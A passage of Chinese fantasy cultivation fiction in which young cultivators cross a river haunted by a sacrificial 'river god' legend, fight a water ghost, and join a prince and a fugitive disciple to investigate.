举起留影石对准了前面三人的背影,输入了一丝灵力,留影石立刻光芒大盛,将三人的容貌特征全都留存了下来,他刚想将留影石收起来,手里忽然一空,留影石居然凭空消失了,这修士顿时吓出了一头冷汗,难道这三个人背后长眼睛了不成!
他身子僵直,颤颤巍巍地回头,看见了一道熟悉的身影,简直比见了苏潋影等人还惊恐,不免在心里哀嚎,今天出门明明看黄历了啊!
眼前是一袭鲛纱道袍的宫玄烛,拿着那颗留影石在手上把玩,抛到半空又稳稳接住,手心仿佛长了眼睛似的。
众修士连忙见礼,他们都是外门弟子,连称尹星灯一声师父的资格都没有,如何得罪得起这个内门师姐兼司天监少祭司,立刻齐齐恭声问好。
宫玄烛摆摆手,刚想让他们不必多礼,手里的留影石啪嗒一下掉在了地上,摔了个四分五裂。
“哎呀,不好意思啊手滑了,你这个留影石质量怎么这么差啊师弟,买到假冒伪劣产品了吧?来来来,师姐这儿有价值九品灵石的,拿着拿着别客气!”
青年修士欲哭无泪,你这才是假冒伪劣产品吧,再说了我拿个空白的留影石有个屁用!
一行人乌泱泱散去。
26. 河神文化发源地
城外,苏潋影等人本来在河边休息,白洛溪忽然站了起来,面色沉冷:“有人靠近了。”
楚纤茉也连忙拉着苏潋影站了起来,目光四下寻找却看不到白洛溪所说的不速之客,低声询问道:“不会是那群星辰宫修士吧?”
白洛溪将两人护在身后,眸中绿芒渐盛,警惕地看着四周,如临大敌,俨然不是刚才对上那些修士的散淡神态,其余两人也不由警惕了起来。
空气中似有叮叮当当珠玉碰撞的声音,很快,那个身影出现了,流光溢彩的黑纱遮住半张脸,嗓音淡漠中带着一丝慵懒:“还有心思喝水呢,追兵马上就到了。”
苏潋影、楚纤茉脸上同时露出欣喜的表情,异口同声道:“玄烛姐姐!”
宫玄烛一愣,莫名其妙就当姐了,而且一次性当了俩姐,属实让她有点振奋,摆摆手低咳一声:“免礼免礼……咳咳我是说,算了先谈正事吧,你们这次惹了个疯子,他一气之下可能会直接弄死你们,所以呢,建议你们现在各回各家各找各妈,懂我意思吧?不要扎堆跑,容易团灭。”
苏潋影好奇道:“就是你们那个国师?凭什么啊,他纵容手下调戏良家妇女,他还有理了!”
宫玄烛摊开手:“那你去告他吧,最好告个秋后问斩什么的,那将是上合天意,下合民心。”
苏潋影好奇地凑过去看她,脸上带着一股不可置信:“啊,你师父这么坏吗?”
宫玄烛点点头,发自肺腑道:“岂止是坏啊,人品差到人神共愤,以权谋私、骄奢淫逸、骚扰女弟子压榨劳动力,哪条拉出来都够他判几年了。”
苏潋影脸上的诧异渐渐化作深恶痛绝,气得狠狠跺脚,咬牙切齿道:“这个人渣!混蛋!我总算知道星辰宫的女弟子为什么要逃跑了,简直禽兽不如!等我回去一定要告诉阿姐,狠狠教训这个王八蛋!”
宫玄烛紧紧拉住苏潋影的手热泪盈眶,义愤填膺道:“小女侠,我们整个星辰宫的未来都寄托在你身上了,记住,只有你才能带我们脱离苦海啊!”
楚纤茉适时插话道:“玄烛姐姐,那你为什么不逃跑啊?”
宫玄烛噎了一下,摸摸鼻子,脸不红心不跳道:“我法力低微,逃不出他的魔爪的,再说了,我妻儿老小都在玄都,实在是跑得了和尚跑不了庙啊,唉……”
苏潋影握紧了小拳头,一脸坚定:“玄烛姐姐你放心,我们现在要去雾山找我阿姐,我阿姐可厉害了,她是万仙盟长老会的成员,一定能帮你们主持公道!事不宜迟,我们这就动身!”
说着拉上楚纤茉和白洛溪就要启程,宫玄烛紧忙拦住:“等等,我还有句话要嘱托,在路上如果遇到一个叫林瑶的姑娘,记得让她跑远点,最好是去潮汐宫寻求蓝情浅庇佑,听到任何消息都不要回来。”
苏潋影认真地点点头:“明白了,我一定告知她。”
出了玄都一直往南边走就是雾山,但是此地瘴气弥漫,而且有星辰宫布置的阵法,不能直接进去,只能往东边绕路,前往雁回城。
临到城门被一条湍急的大河拦住了去路,苏潋影走至河边,拿手里玉骨鞭拨开齐腰高的杂草露出了一块石碑,这石碑大约有些年头了,红漆脱落,字迹斑驳,依稀能辨认出几个字符,楚纤茉喃喃念道:“户女聿……我猜最后一个字其实应该是津。”
苏潋影歪着头:“那也不对啊,从来就没有听说过这条河,我九州地理学得也不差啊。”
她说着踮起脚四下张望,河两岸空空荡荡,没有任何船只,着实让人心焦,难不成只能……她侧目看向旁边的白洛溪,后者被盯得毛骨悚然:“苏苏,你干嘛这么看着我?”
苏潋影道:“要不你变条小船让我们划过去?”
白洛溪摇摇头:“苏苏,我出门没带什么法器,变条小船倒是可以,只不过妖力凝固的车马要看天时地利,此时晴空朗日的,容易掉链子啊。”
苏潋影道:“我是让你变成小船,你不是蛇嘛,蛇会游泳的吧?”
被对方那炯炯有神的大眼睛盯出一身冷汗的白洛溪连连后退,脚跟靠到了石碑,局促地攥紧了衣袖:“你认真的吗?”
楚纤茉有些不忍,拽了拽苏潋影的衣袖:“苏苏,这不太好吧?”
苏潋影似乎理解不了这两个家伙在纠结什么:“物尽其用嘛,我要是蛇我现在也给你们当船使啊,”说着又转头看白洛溪:“你怎么回事,平时吹得天上地下的,让你施展一下才能就推三阻四,真是不中用,还得我自己想办法。”
白洛溪被嫌弃后一脸受伤,蹲到旁边画圈圈去了。
苏潋影在岸边来来回回踱步,不多时看到了身后有一群人走来,顿时眼睛一亮,急忙走上前去问好。
看这群人穿着打扮,仿佛是城中小商贩,这群妇人头上都裹着纱巾,虽然描眉打鬓,但已经失去了女子独有的灵性,贸然见这么个水灵灵的小姑娘走过来,齐齐一愣。
苏潋影笑嘻嘻上前问好:“几位姐姐好,我们初来乍到,想去城中转转,不知何时有船啊?”
为首穿着蓝布碎花裙裹着白头巾的妇人笑弯了眉眼,白皙柔软的胖手摸了摸苏潋影的头顶:“哎呦,小妹妹好甜的嘴,你们这么等啊是等不到船的,多亏遇上了我们,跟我来吧。”
“好嘞!那就有劳姐姐帮忙了!”
两伙人汇聚一处,为首那位蓝裙妇人从提着的篮子里摸出一只柳哨,吹了几声,对面河岸上有了动静,似乎是撑起了两艘木筏,苏潋影看在眼里甚觉新奇,时不时望向蓝裙妇人手里的柳哨。
不多时,竹筏已经划了过来,上面只有两个肤色黝黑的船工,其中一个擦着汗看向蓝裙妇人:“五嫂子,”他余光瞥向河岸上三个陌生人,问道:“这几个人是谁啊?”
五嫂笑了笑,亲切地拉过苏潋影的手:“她啊,是我家小妹,这长相周不周正?”
船工哈哈大笑,上下打量着苏潋影,咋舌道:“我看不像,倒像是王母娘娘的女儿。”
一行人说说笑笑上了木筏,楚纤茉本来想跟苏潋影一起,船工见状道:“小姑娘,你和公子爷去旁边那只吧,这只筏子快站满了。”
船工脸上满是笑意,黑中通红的面庞显得他憨厚老实,望着人的眼睛却不知为何带着一丝莫名的闪躲,时不时抬眸,余光瞥向楚纤茉,见她上了另一艘竹筏这才回过头开始撑舟,竹篙一下一下拨着水
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苏潋影一向健谈,坐在船头跟五嫂子唠得正欢。
“这条河叫什么名字啊?我看这个流向,好像是洛河的支脉。”
五嫂子笑道:“小妹妹懂得真多,我一介妇人没读过书,半辈子都在雁回城里,还真不知道什么洛河。”
苏潋影笑嘻嘻道:“我家阿姐学识才叫渊博,这些都是她教我的,咱们灵煌洲最重要的一条水脉就是洛河,自西北梵净山流下,一直能到南蘋洲,中间穿过了无数城镇,一千两百年前九洲因为争抢水脉死伤无数,小西洲、羲和洲、星野洲将灵煌洲三面夹攻,据说还有妖魔在其中搅动风云,人人都想分一杯羹,最后是一位公主去小西洲合亲才解了西北危机,没想到后来魔界借人间大乱攻打梵净山青云梯,直通神界,最后诸神动怒这才出手镇压了一干妖魔,其余洲主没有妖魔撑腰这才偃旗息鼓。”
五嫂子笑道:“呦,这么说来咱们灵煌洲这么惹人垂涎啊?”
楚纤茉听得出神,心里暗暗叹息,可怜了那位公主,当年妖族统治小西洲,她前去合亲必然凶多吉少,刚想问苏潋影后来怎么样了,忽然觉得一阵天旋地转,她险些坠入河里,急忙抓紧了竹筏,竹筏上所有人都惊呼起来。
河中心出现了一个巨大的漩涡,如同深不见底的瞳孔,两页竹筏如同漂浮在水面上的落叶一般,在漩涡外围转着圈,竹筏上的人皆是头昏脑胀,大声呼救,船工的竹篙已经被巨大的水花卷走了,一众人茫然无措、哭喊嘶吼着,随着时间的流逝,竹筏离漩涡中心越来越近。
哗啦一声,一个巨大的浪头打翻了其中一只竹筏,上面的碧衣女郎不见了踪影,奇怪的是,随着那小姑娘的消失,势不可挡的汹涌漩涡居然渐渐地平息了,河面上风平浪静。
“苏苏!”
白洛溪几乎是倾刻间跳下了河,楚纤茉在竹筏上急得宛如热锅上的蚂蚁,她哀求着身边一众劫后余生的人:“怎么办,求你们救救他们啊!”
刚才还亲切友好的妇人们仿佛没听见似的,个个眼神木讷,船工将竹筏划到了对岸,这部分人都上了岸,不多时,河里湿漉漉爬上来了一群人,但唯独没有苏潋影和白洛溪。
“苏苏!白洛溪!”
楚纤茉在岸上拼命地朝水里喊,那群表情麻木的人渐渐远去,楚纤茉听见他们诚惶诚恐地说:
“这次河神总该满意了吧?”
“希望河神不要再发怒了……”
“这个姑娘够年轻漂亮了,河神一定会满意的……”
楚纤茉听得稀里糊涂,眼泪簌簌往下流,转头往城里跑去,但无论她如何哀求,城里的老百姓都无动于衷,商贩们赶苍蝇似的将她赶走,怒骂着让她不要打扰自己做生意,有些人干脆匆匆回家关上了门。
楚纤茉站在陌生的街头惶然无措了许久,最后似是想到了什么,顺着大街往府衙跑去,距离白洛溪和苏潋影落入河里已经过去一刻钟了,她越想越是急躁,眼前一阵发花,地面似乎变成了一个漩涡,整个人几乎跌倒。
一双手稳稳托住了她的胳膊肘,对方见楚纤茉站稳了这才轻轻松开手,温润清朗的声音传入耳畔:“小姑娘,你还好吗?”
27. 河神传说,相当炸裂
楚纤茉缓缓睁大眼睛,见面前站着一个人,锦衣华服,看起来似乎是个大人物,似乎也是这座冷漠的城里唯一一个愿意搭理她的人。
楚纤茉扑通一下跪了下来,吓了对方一跳,她泪流满面、颠三倒四地说着事情的经过,期间那人几次三番想扶她起来,但楚纤茉坚决不肯,大有对方不帮忙她就不起身的意思。
那人居然也从楚纤茉口齿不清、呜呜咽咽的描述中听懂了事情的始末,微微蹙眉,抬手吩咐身后仆从:“去府衙传我命令,挑几路善水的,准备船只、绳索,火速去城西下河救人。”
“是!”
噔噔噔的脚步声远去。
楚纤茉听到这里才如释重负,抬起一双哭得红肿的眼睛,拿衣袖擦擦眼泪强忍着眩晕起身,那人依旧伸手扶她,楚纤茉连声道谢。
“你要去哪儿?”
楚纤茉回头,泪眼朦胧道:“我去城外……”
那人伸手掀起轿帘,一扬下巴示意她上马车,楚纤茉咬咬牙也就上去了,这一上去才发觉里面装饰华丽,宽敞无比,那锦衣华服的公子手捏一把泼墨山水的折扇,指骨泛起青白色,目不斜视,温煦而疏离的声音不时在马车里响起。
“莫慌,有我在,官兵一定竭尽全力救人。”
楚纤茉用力点点头,她脑袋发空,心里一阵阵的后怕,无数个念头涌上脑海,控制不住地在心里说:都过去这么久了,苏苏他们是不是已经死了?
一会儿又使劲摇摇头,仿佛要将这些可怕的念头甩出脑海,她闭上眼睛,不停地揉搓着自己的手,手背通红一片,一会儿又紧咬着食指关节,指尖不停地颤抖着。
等马车驶到河边,那位公子扶她下了车,河面上漂浮着十几条官船,官兵们在河水中不时探出头,向船上打着楚纤茉看不懂的手势,但是她知道,他们依旧没有找到自己唯一的朋友。
楚纤茉看向身旁一直稳如泰山的年轻公子,他看起来也就二十出头的年纪,却临危不乱,目光紧紧锁着河面,察觉楚纤茉的目光就安慰几句,与那些事不关己高高挂起的老百姓实在是天壤之别。
他们随着河里一直往下游划去的船只不停移动着,暮色四合,距离苏潋影他们落水已经过去一个时辰了,却仍然没有发现任何线索,楚纤茉蹲在地上呜呜咽咽地哭了起来,她死死捂着自己的嘴,任由眼泪在脸上肆意纵横,她在内心疯狂祈祷着:
上天,神明,如果你们能看见,求你们救救苏苏,保佑她一定要活着,我愿意折寿五十年,六十年也可以,可不可以把我这无聊又漫长的寿命分给苏苏,留给我一点就好,让我陪她长大……
她瘫软着,跪在河边,以前,哪怕是受再多委屈折磨,她从未祈求过上苍,因为她觉得,神明从来不会眷顾她,可是现在,她几乎是一刻不停地向虚无缥缈的神佛祷告,赌上自己的全部,只期盼生命中最重要的那人能安然无恙,哪怕是用自己的性命去换。
一直寂静无声的河面忽然有了动静,官船都在河中央,水边却仿佛有人游了过来,水声哗啦哗啦,那人越靠越近,楚纤茉心跳骤停,几乎是半爬半跪地跑了过去,大声喊着苏潋影的名字,在她的手要触到河水的一刹那,一只手忽然拽起她的衣领将她甩到了身后,楚纤茉站立不稳摔得头晕眼花,再睁眼就看到了令她呼吸凝滞的一幕。
河里爬上来的不是苏潋影,也不是白洛溪,而是一个狰狞可怖的水鬼,它的头发如同一片瀑布,上面缠着乱七八糟的水草,紧紧贴着身体,裸露在外的皮肤被河水泡得满是褶皱,仿佛枯死的老树皮,它扭扭脖子,传来骨节喀拉喀拉的响声,下一刻以一种看不清的诡异移动方式,霎时间略过岸上的锦衣公子,瞬间到了楚纤茉眼前,尖利的指甲仿佛一把把小勾子往她脸上抓来,仿佛下一刻就要在楚纤茉清秀的小脸上抓出数道皮开肉绽的沟壑。
怪物嘶吼着,水腥气腐臭气扑面而来,楚纤茉瞳孔失焦,理智告诉她快跑,但两条腿却不听使唤。
金石碰撞之声在耳边炸响,那锦衣公子居然拿手中折扇挡住了水鬼的攻击,一把纸扇在他手中如同削金断玉的刀剑,横扫出去格挡住了水鬼尖利的黑色指甲,只这一撞发出的声音足以穿透人的耳膜,仿佛七八只野猫在抓挠铁板。
锦衣公子抓着楚纤茉的胳膊迅速一甩将她甩开了好几丈远,楚纤茉根本稳不住身形,狼狈地摔倒在地上,膝盖、胳膊肘传来火辣辣的痛楚,她迅速爬起来一步步往城门口退去,眼前是恩人跟那只水鬼缠斗的画面,水鬼尖锐地咆哮着,两只青筋暴起的利爪或刺或挠,如同一只饿到极致的野兽,只是这些攻击都被那柄看似脆弱到一击就破的纸扇挡了回去,下一刻,水鬼忽然匍匐在地上,仿佛一条摇头摆尾的蜥蜴迅速爬向锦衣公子,后者足尖点地腾空跃起,仿佛一只灵巧的燕子在空中旋身半周,水鬼仿佛抓到了漏洞,手脚并用向最开始的目标迅速窜去,一瞬之间已经近在咫尺,楚纤茉反应过来拔腿就跑,后背的衣裳已经被尖锐的指甲刺破,她感到了一丝凉意,随着是异物划开皮肉的钻心痛楚,身后仿佛撞上了一块巨石,压得她脸朝下扑倒在地上,楚纤茉觉得喉咙里似乎堵着血块,想咳嗽却被压得咳不出来,轻轻一侧头,看到自己右肩上方是一张肿胀发白的人脸,头顶是裸露的泛着青绿色的头皮,爆出的眼球里垂着血丝,大张的嘴里还流着腥臭的涎水。
楚纤茉胃里一阵翻江倒海,干呕了几下手脚并用地往前爬,可是背上人是溺死的,沉重地仿佛一座小山,她几乎气绝时,一只手轻轻提起了水鬼扔到一边并扶起了她。
“抱歉,让姑娘受惊了。”
锦衣公子说着解下自己的披风替楚纤茉披上,楚纤茉才记起来自己的衣服被水鬼抓破了,她柔柔道了声谢,并不觉得尴尬,一则年纪尚小,二来裸露的地方是肩膀,也算不得尴尬,就是有些痛还有点眩晕。
恍惚之中,她仿佛听到有人喊着什么。
“殿下!找到了!”
找到了吗?
楚纤茉不知道是不是自己的幻觉,她仿佛看到了苏潋影,她全身是水,被白洛溪抱在怀里,看起来那么单薄脆弱,她伸手想去触碰她,却仿佛坠入了水中,一直沉入深不见底的黑暗里。
很远的地方传来锣鼓喧哗之声,隐隐还有欢笑声。
楚纤茉站在人流中,看着乱哄哄的人群里抬过一顶花轿,花轿摇摇晃晃进了一间大门,她鬼使神差地跟了进去。
一拜天地!
爆竹在她耳边炸响,楚纤茉自小就怕这些热闹,急忙往角落里跑,忽然瞥见喜堂里,新娘站在一侧,另一侧,两个家丁扶着一个看似随时要摔倒的、嘴歪眼斜、哈喇子打湿了胸前红花的男子。
这两人就这么拜了三拜,男人被搀扶着出了喜堂,新娘子也被簇拥着离开。
画面一转,楚纤茉看到一个房间里,先前那个看起来痴傻愚笨的男人躺在床上,喉咙里溢出垂死的低吟,一个穿着素白衣裙,身材纤细的女人双手浸在水盆里,拧干毛巾,脸上带着一丝微不可察的嫌恶,走到床边帮他擦拭着身体,房间里有一股浓郁的药味,熏得人犯恶心。
男人目光浑浊地看着她,手指颤颤巍巍指向饭桌。
“娘子……喝水……喝水……”
痴傻的男人不停地念叨着,女子当作没听见一般,一言不发地打扫着屋子,将给男人擦拭过身体的毛巾扔进了簸箕里,随后在手上涂满皂角,神经质地一遍又一遍洗着手,仿佛恨不得搓下一层皮来。
随着门外的脚步声响起,女人擦干净了手,略有些慌张地倒了杯水给床上的男人灌下去,许是动作太慌张,呛得男人直咳嗽。
女人被扯着头发从床边拽了起来,她咬着唇,眼泪滴滴答答顺着脸庞流下来。
楚纤茉眼里一片血色弥漫开来,她眼前不再是那个充满药味、令人窒息的房间,她眼前出现了一片池塘,池塘里只有一条骨瘦如柴的鱼,它贴着塘壁,嘴巴一张一翕,大而无神的眼睛里露出一种幽怨,它用这种像是人一样的眼神长久地凝视着楚纤茉。
啪嚓一声,仿佛是什么东西碎开了,池塘、金鱼全部消失,楚纤茉又看到了那个女人,她被捆住了手脚拖拽着往一口棺材里塞,而棺材里躺着那个男人,他穿着一身大红色丝绸长袍,骨瘦如柴、皮肤青紫,仿佛一具蒙着人皮的骷髅,女人嘴里塞着一团抹布,她挣扎着,披头散发,拼命用肩膀扛住棺材板,两脚用力往后蹬,仿佛一只即将被屠宰的可悲的母羊,最终还是被几个强壮的家丁一寸寸塞进了棺材里,轰隆隆——棺材盖重重合上……
楚纤茉再次醒来,身边是一个碧衣身影,是苏潋影。
她见楚纤茉醒来,惶急地抓住了她的手,心里后怕不已,但楚纤茉眼神有些空洞,她还在回忆那个令人窒息的梦境,就仿佛自己也被困在了棺材里一样,她觉得有些喘不过气来。
“纤茉,你没事吧?”
楚纤茉依靠着苏潋影勉强坐了起来,背后的伤已经包扎好了,她打量了一下周围环境,看起来不像客栈。
苏潋影解释道:“这是宴王府,之前你遇到的那位是宴世子郁霄。”
苏潋影话音刚落,门外传来沉稳的脚步声以及侍女的通告声,郁霄已经走了进来,手里依旧捏着那柄纸扇,白宣之上是水墨氤氲的淡淡山川,这些墨迹似乎组成了一个太极图,但楚纤茉记得昨天晚上他攻击那个水鬼之时,扇面似乎是一片漆黑,隐隐有一道发着红光的太极图腾。
“多谢世子殿下救命之恩。”
楚纤茉看了眼对方那张俊秀瑰丽的脸,不太自然地垂下了眼眸,郁霄那双眼睛很漂亮,狭长深邃,眼尾微微上挑,是典型的丹凤眼,被他盯久了会让人有些不自在。
“无妨。”
郁霄一笑,山温水暖,手中折扇轻轻摇动。
三人在前厅落座后有侍女献上香茶,郁霄拱手欠身,俊朗的脸上带着几分愧疚:“是在下治理辖区不力,让几位受惊了。”
苏潋影、楚纤茉也站起来回礼,重新落座之后,苏潋影问起了那条奇怪的河。
“听宴世子的意思,那条河似乎大有文章?”
郁霄不由垂眸,叹道:“说来惭愧,那是条凶河,吞噬过无数条人命,凤城城主,也就是家父,虽然下令禁止民间祭祀河神,可是民众私底下还是会做出这等事。我也在此地探查过一段时间,却没有任何头绪,倒是从当地百姓口中听了一个故事。”
他最后似乎不知道应该用什么词语来形容听到的这件匪夷所思的事情,停顿了一两息选择了这个比较中肯的表述。
苏潋影对这些稀奇古怪的东西明显很感兴趣,追问道:“什么故事?”
郁霄看着眼前一向活力四射的姑娘,不由露出莞尔笑意,语气缓缓道:“那是一个在此地流传了许久的故事,大概是好几百年前,雁回城的河流里还没有河神,当地有一户人家,家财万贯,他们家只有一个少爷,因为天生痴傻所以直到三十岁还没有娶妻,这家人只好退而求其次,将家里一个最年轻貌美的丫鬟嫁给了少爷。后来,这个少爷病体日沉,不久后就一命归西,这家人将少爷的尸骨收敛,可是老夫人却坚决要让儿媳给儿子殉葬,于是,这儿媳被塞进了棺材里,跟她死去的丈夫躺在了一起,起初儿媳还会挣扎,随着棺材被钉死,拍打棺盖的声音、哭喊、求饶、咒骂的声音都渐渐小了下去。”
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郁霄不徐不急、语气平淡地讲述着,两个女孩却早都吓得脸色惨白,楚纤茉早已说不出话来,苏潋影吞了下口水,问道:“然后呢?那个儿媳……死了吗?”
郁霄接着道:“棺材在运送过程中天降大雨,行至城外抬棺材的一个家丁忽然摔倒,其余三人支撑不住也齐齐一晃,那装了两个人的棺木就滑进了河里,他们打捞了五六天都不见踪影,众人都觉得很奇怪,那么重的棺材,怎么就这样不翼而飞了?可随之更奇怪的事情发生了,每当有年轻女子过河时,船至河心就会被漩涡打翻,船上的姑娘只要落水就会消失得无影无踪,城中开始疯传,说那个可怜的儿媳变成了河神,她因为自己的不幸所以妒嫉那些年轻貌美、幸福美满的女子,要拉她们给自己陪葬。城中大户人家为了不让自家人出事,于是在固定的时间举办祭河神的仪式,挑一个姑娘献祭,以维持一段日子的安宁。”
苏潋影攥紧了拳头,她自小娇养深闺,听的都是风花雪月,何曾听闻过这么血腥残忍的东西,脸色一阵阵发白,声音干涩道:“河神……我知道她很无辜,可是既然是神,为什么要让别人也变得跟她一样不幸呢?”
郁霄轻笑:“河神只是一个幌子,其实私下里,那条河被叫做妒妇津[1]。”
见苏潋影愣神,郁霄那双深邃凤眸中又带着些许探究,笑道:“苏姑娘是第一个从妒妇津掉下去还安然无恙的人,我很是好奇,姑娘在河里可有看到什么?”
苏潋影眼神泛空,似乎陷入了回忆中,又仿佛是想到了什么可怖的东西,声音有些发抖:“你这么一说我想起来了,我的确遇到了好多水鬼,会不会是那些死去的姑娘想拉我一起去陪她们啊?”
郁霄但笑不语,修长的三指捻着白瓷盏轻轻晃动杯中清茶,忽然道:“苏姑娘那位朋友倒是身手了的,那么多官兵忙活了两三个时辰,没想到最后是白公子孤身将你救了回来。”
听到白洛溪的名字,苏潋影脸上泛起自豪的笑意:“那当然了,我们家小白别的不敢说,除了不会飞,讲究登山涉水那是小菜一碟!”
郁霄来了兴趣,脸上也满是笑意,顺着苏潋影的话茬道:“哦,看不出来白公子年纪轻轻身手居然如此了得,在下真是自愧不如,若在下有白公子一半的本事也就不为这妒妇津之事日夜寝食难安了。”
他说到最后愁云满面,自嘲般摇摇头,苏潋影噌一下站了起来,古道热肠一动又开始大包大揽:“你放心好了,我们一定会尽全力帮助你的,俗话说得好,五湖四海皆兄弟嘛,就算我们解决不了,我还可以去找我阿姐啊!”
郁霄忽然站起来,一甩衣摆扑通一下直直跪在了苏潋影面前,言辞恳切道:“郁霄代雁回城百姓谢过三位了,若此河之患得解,郁某必当重谢,有劳了!”
苏潋影连忙上前去扶他:“哎呀你不要说得这么严重,路见不平拔刀相助那是我家的祖训,都是我应该做的……那么,我们应该从何查起呢?”
郁霄站了起来,眸露感激:“先不急,这几天我会下令禁止百姓外出,我们还需要找个帮手,共同商议一个计划,钓出这个河神。”
“看来宴世子早就猜到有人装神弄鬼了?”
白洛溪不知何时走了进来,他站在苏潋影身侧,一改往常不着调的模样,而是出奇地神色严肃。
苏潋影拿胳膊肘捅捅他,压低声音道:“你今天吃错药了?”
白洛溪不动声色地赶开她作乱的手,轻轻啧了一声:“你别闹了,还嫌自己惹的麻烦不够大吗?”
白洛溪重新看向郁霄,对方却并不因为他颇为不善的语气而恼怒,反而笑道:“英雄所见略同,郁某不认为有什么鬼神作祟,若真是鬼神,想必周围驻扎的各大仙府已经派人清剿了。”
苏潋影咬着指甲盖深思,半晌才反应过来,眼睛瞪得溜圆:“你的意思是有人假扮水鬼残害无辜百姓?”
楚纤茉似乎想起了什么,也道:“可是昨天晚上,我们明明看见了水鬼啊。”
郁霄合上手中折扇轻轻在掌中敲击:“究竟是鬼还是有人在装神弄鬼,我相信很快这答案就会揭晓了。”
他脸上那种棋逢对手的神情褪去,转而又是那种得体的微笑,面向这三人道:“这两天几位就好好在寒舍休息,有事便吩咐下人,郁某手头还有几件小事要处理,届时妒妇津之事就有劳几位多多帮忙了。”
待郁霄离开后,苏潋影望着他的背影喃喃自语道:“不是水鬼会是什么呢,谁会假扮水鬼抓走那些女孩呢……”
白洛溪无可奈何地瞪着她,气得嗓音都变了:“你还说,你不是要去找你姐姐吗?现在耗在这里又算怎么回事?”
苏潋影拿手给他扇扇风:“我都不着急你慌鸡毛啊,再说了,区区小妖小怪,只敢躲在水里暗箭伤人,料想也不是什么难对付的角色。”
白洛溪咬牙点点头,附和道:“啊对对对,不是什么难对付的角色,可问题是遇上危险你只会在旁边添乱,到头来还不是我一个人在对付未知情况啊!”
苏潋影一想还真是:“对哦。”
白洛溪气到跳脚:“对你个鬼啊!我身份若是暴露会被万仙盟下追捕令的!”
苏潋影踮起脚勉强勾住他的脖子,拍了拍抓狂的白洛溪的肩膀,安慰他道:“万仙盟长老的妹妹在这儿你怕啥,放心大胆上,真被抓进凌云殿了我会想方设法给你捞出来的。”
白洛溪懊恼地扯着自己的头发,嘴里发出一连串哀嚎:“救命啊,为什么当初救我的人是你啊!”
苏潋影看着他眼眶里涌出的面条泪,想起了一个词语,难道这就是传说中的滴水之恩当涌泉相报嘛?
28. 玄烛,三缺一,速来
苏潋影牵着楚纤茉的手,二人打算在城中逛逛,
雁回城自然是没有玄都繁华的,偶然有几处摆着簪环首饰的摊子,其余多是酒肉茶肆,街上行人忙忙碌碌操持生计,鲜少见到闲散惬意的,于是有个身影一出现便很是惹眼。
她一袭轻飘飘广袖白衣,麻花辫在头顶偏后处绕成椭圆形发髻,在右侧拿一根蜻蜓流苏银发钗固定,垂落身后的发丝则用一条白发带当中收拢,但分出一绺在左胸前编了条不粗不细的辫子,窄条白丝带编织入理,规规矩矩的发式便显得灵动俏皮起来。
她不似苏潋影、楚纤茉那样还留着齐眉的刘海,额前只轻飘飘垂落几丝,露出了光洁圆润的额头,往下是拢烟叠翠一对远山眉、悲天悯人一对含情目,琼鼻耸立,薄唇含脂,如同一幅山水画,七分是景、三分留白,脚步款款,步摇微动,所过之处如鹤立鸡群。
苏潋影拍拍楚纤茉的肩,低声道:“我猜这大概就是传说中能闪瞎人眼的林瑶了。”
宫玄烛就是这么说的。
找林瑶还不简单?披麻戴孝小白花,清澈愚蠢身材佳,智商不高体能废,根正苗红人人夸。
苏潋影已经拉着楚纤茉往前走了,打算把人先堵住,楚纤茉就没见过这么自来熟的人,慌得低声劝阻:“万一不是怎么办,太冒昧了吧?”
苏潋影啧了一声:“男的上去搭讪美女那才叫冒昧,我这叫热情洋溢好不好?”
“嘿,这位漂亮姐姐,请问你是林瑶本瑶吗?据说你师父在满世界找你,提供一条可靠消息赏银五百两,把人带回去奖励一套豪宅啊,有没有兴趣发这笔横财?”
白衣少女脸色一僵,唇边淡淡的笑意霎时间散去,还没来得及转身就跑被苏潋影一把抓住了手腕,白衣少女嘴唇轻颤、目光闪躲:“我不是——”
“不是你跑什么?”
苏潋影笑嘻嘻地走到她身前,抬手将她半遮面容的袖子拽下来:“好了不逗你了,我们在玄都遇到了你师妹宫玄烛,她让我们帮忙带句话,玄都近日可能有大事发生,但是极有可能是那个什么国师的阴谋,让你无论如何不要回去自投罗网,先去找蓝情浅可以躲过一时。”
林瑶沉默许久才点点头,勉强扯出一个得体的微笑:“多谢两位妹妹了……雁回城近日不太平,两位妹妹若是没有要事还是尽快离开比较好。”
苏潋影已经上前挽住了她的胳膊,仿佛两人认识很多年了:“瑶瑶姐,你人真好,不过呢我们答应了别人帮忙抓水鬼,是不会轻易离开的,瑶瑶姐你呢,打算什么时候离开?你如果还不走的话要不要帮我们一起抓水鬼,人多力量大嘛!”
“水鬼?”林瑶眉头轻蹙看向挂在自己胳膊上的小姑娘,眸露惊讶,“你也知道此事,莫非小妹妹也是玄门中人?”
苏潋影笑容灿烂露出八颗牙齿:“忘了自我介绍了,我叫苏潋影,瑶瑶姐你喊我苏苏、潋影、随便什么都行,我家住在碧梧山庄,虽不在四大派之列,但勉勉强强也算是修仙之家吧。”
苏潋影所说四大派自然是西北沁莲梵净山、东南洛都潮汐宫、中原玄都星辰宫以及鸢歌芙蕖观,其余如流光宗、青澜宗、碧梧山庄这些中等宗派有些依附附近的大门派、有些则独立发展,而在这些门派之上有个万仙盟另当别论,凌驾于众仙门之上,由各派惊鸿期以上修士联合组成审判团,主持修仙界正义,所以,有些修士的罪业一旦上升至凌云殿万仙盟基本就可以等投胎了。
原来林瑶初到雁回城,渡河之际也差点被人算计坠入妒妇津,不过她比较幸运遇上了郁霄,二人也因此结识,其实林瑶来雁回城也有自己的目的,她舅父家就在雁回城,可以暂时躲避风头,而正巧她表哥的夫人快要临盆了,所以无论是为了帮郁霄查案还是为了照顾表嫂,她暂时都无法离开雁回城。
苏潋影一听这话来劲了:“太好了瑶瑶姐,我们可以一起行动了,等处理完此事我们呢就继续去雾山,你也可以动身去洛都了,不过现在我们去做什么呢?”
林瑶看向斜对面一家杂货铺子。
等几人再次从杂货铺子里出来的时候,个个手里提着成沓的黄纸,怀里抱着朱砂、红线、五色稻谷等物。
楚纤茉理了半天的思绪,最后看向林瑶道:“所以林瑶姐姐你的意思是,你舅父家里撞了邪物?可我们都不是道士,买这些东西有什么用?”
林瑶朝她微微一笑,在她眼里,苏潋影、楚纤茉都比她小,是需要照顾的小妹妹,而她们二人皆是秀外慧中,一个热情活泼一个温柔沉默,一口一个“姐姐”更是让她倍感亲切,毕竟……陌菱重回她身边后再也不肯叫她一声姐姐了。
林瑶眼底的落寞在看向楚纤茉时已经消失不见了,取而代之的是一片柔和:“道士嘛已经在家里了,相信有他们在舅父家一定可以平安渡过此劫。”
